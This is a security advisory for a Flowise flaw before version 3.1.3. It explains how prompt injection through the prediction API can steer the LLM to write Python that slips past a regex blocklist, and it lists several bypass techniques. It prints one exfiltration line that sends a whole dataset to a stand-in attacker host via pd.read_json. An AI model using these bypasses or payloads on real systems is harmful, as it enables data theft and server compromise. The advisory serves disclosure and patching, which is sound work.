Executive brief
Flowise is an open-source low-code platform for building AI chatbots and agents. Versions before 3.1.3 contain a flaw in the Python code validator used by CSV and Airtable Agent nodes that allows unauthenticated attackers to inject malicious code through prompt injection. An attacker can exploit this to exfiltrate sensitive data from uploaded datasets, perform server-side request forgery (SSRF) attacks against internal services, or execute arbitrary code on the Flowise server.
Technical details
The vulnerability is a regex-based code validator bypass in the validatePythonCodeForDataFrame() function that uses a blocklist of 38 patterns to sanitize Python code before execution. Multiple structural bypasses exist: pandas URL-fetching functions like pd.read_json(), pd.read_csv(), and pd.read_html() are not blocked and can make outbound HTTP requests carrying datasets; the importlib module bypasses the import blocklist due to word boundary logic; chr() concatenation allows runtime construction of blocked function names; and np.ctypeslib.load_library() is not blocked. An unauthenticated attacker can send a crafted prompt injection via the prediction API (POST /api/v1/prediction/:id), steering the LLM to generate bypass code that executes in the Pyodide runtime. The most trivial bypass is pd.read_json("http://attacker.com/?d=" + df.to_json()), which passes all regex checks yet exfiltrates the entire dataset. Patch: upgrade to version 3.1.3 or later.
Affected products
- FlowiseAI Flowise before 3.1.3
Timeline
- 2026-07-29: disclosed
- 2026-08-13: patched: Version 3.1.3 released
- 2026-08-13: advisory